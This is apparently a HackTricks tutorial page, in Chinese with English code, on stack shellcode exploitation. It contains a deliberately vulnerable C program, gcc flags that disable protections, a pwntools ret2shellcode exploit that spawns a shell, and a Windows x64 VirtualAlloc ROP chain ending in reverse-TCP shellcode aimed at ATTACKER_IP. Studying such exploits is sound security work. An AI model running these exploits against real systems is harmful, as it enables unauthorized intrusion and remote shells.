Stack Shellcode
Reading time: 9 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
Stack shellcode 是一种用于 binary exploitation 的技术,攻击者将 shellcode 写入易受攻击程序的栈,然后修改 Instruction Pointer (IP) 或 Extended Instruction Pointer (EIP) 指向该 shellcode 的位置,从而使其被执行。这是一种经典的方法,用来在目标系统上获取未授权访问或执行任意命令。下面是该过程的分解,包括一个简单的 C 示例,以及如何使用 Python 和 pwntools 编写相应的 exploit。
C 示例:一个易受攻击的程序
让我们从一个简单的易受攻击的 C 程序示例开始:
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
该程序由于使用了 gets()
函数而存在 buffer overflow 漏洞。
Compilation
要在禁用各种防护(以模拟易受攻击的环境)的情况下编译此程序,可以使用以下命令:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-fno-stack-protector
: 禁用栈保护。-z execstack
: 使栈可执行,这对于执行存储在栈上的 shellcode 是必需的。-no-pie
: 禁用 Position Independent Executable,使我们更容易预测 shellcode 的内存地址。-m32
: 将程序编译为 32 位可执行文件,常在漏洞利用开发中为简化起见使用。
Python Exploit using Pwntools
下面展示了如何使用 pwntools 在 Python 中编写 exploit,以执行 ret2shellcode 攻击:
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
This script constructs a payload consisting of a NOP slide, the shellcode, and then overwrites the EIP with the address pointing to the NOP slide, ensuring the shellcode gets executed.
The NOP slide (asm('nop')
) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the p32()
argument to the starting address of your buffer plus an offset to land in the NOP slide.
Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
在现代 Windows 上,stack 是不可执行的(DEP/NX)。常见的方法是在栈 BOF 后构建一个 64 位 ROP 链,从模块的 Import Address Table (IAT) 调用 VirtualAlloc(或 VirtualProtect),将栈的一段区域设为可执行,然后返回到紧跟在链后面的 shellcode。
Key points (Win64 calling convention):
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
- RCX = lpAddress → 选择当前 stack 中的一个地址(例如 RSP),以便新分配的 RWX 区域与 payload 重叠
- RDX = dwSize → 大小要足够容纳你的 chain + shellcode(例如 0x1000)
- R8 = flAllocationType = MEM_COMMIT (0x1000)
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
- Return directly into the shellcode placed right after the chain.
Minimal strategy:
- Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR.
- Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
- Place stage-2 shellcode immediately after the chain.
Example layout (conceptual):
# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX — execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----
在受限的 gadget set 下,你可以间接构造寄存器值,例如:
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → 从 rbx 设置 r9,将 r8 置零,并用一个垃圾 qword 补偿栈。
- xor rbx, rsp; ret → 用当前栈指针初始化 rbx。
- push rbx; pop rax; mov rcx, rax; ret → 将来自 RSP 的值移动到 RCX。
Pwntools 示例(给定已知 base 和 gadgets):
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
rop = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
提示:
-
VirtualProtect 在将现有缓冲区设为 RX 时也类似;参数顺序不同。
-
如果栈空间紧张,可在其他地方分配 RWX(RCX=NULL)并 jmp 到该新区域,而不是重用栈。
-
始终考虑会调整 RSP 的 gadgets(例如 add rsp, 8; ret),通过插入垃圾 qwords 来补偿。
-
ASLR 应被禁用,否则地址在每次执行中可能不一致,或者函数将被存放的位置不会总是相同,你需要某种 leak 来定位 win 函数加载的位置。
-
Stack Canaries 也应被禁用,否则被破坏的 EIP 返回地址将无法被执行。
-
NX 栈 保护会阻止在栈内执行 shellcode,因为该区域不会是可执行的。
其他示例与参考
- https://ir0nstone.gitbook.io/notes/types/stack/shellcode
- https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html
- 64bit,ASLR 配合栈地址 leak,写入 shellcode 并跳转过去
- https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html
- 32 bit,ASLR 配合 stack leak,写入 shellcode 并跳转过去
- https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html
- 32 bit,ASLR 配合 stack leak,使用比较来防止调用 exit(),覆盖变量为某值,写入 shellcode 并跳转过去
- https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64,无 ASLR,使用 ROP gadget 使栈可执行并跳转到栈中的 shellcode
参考
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。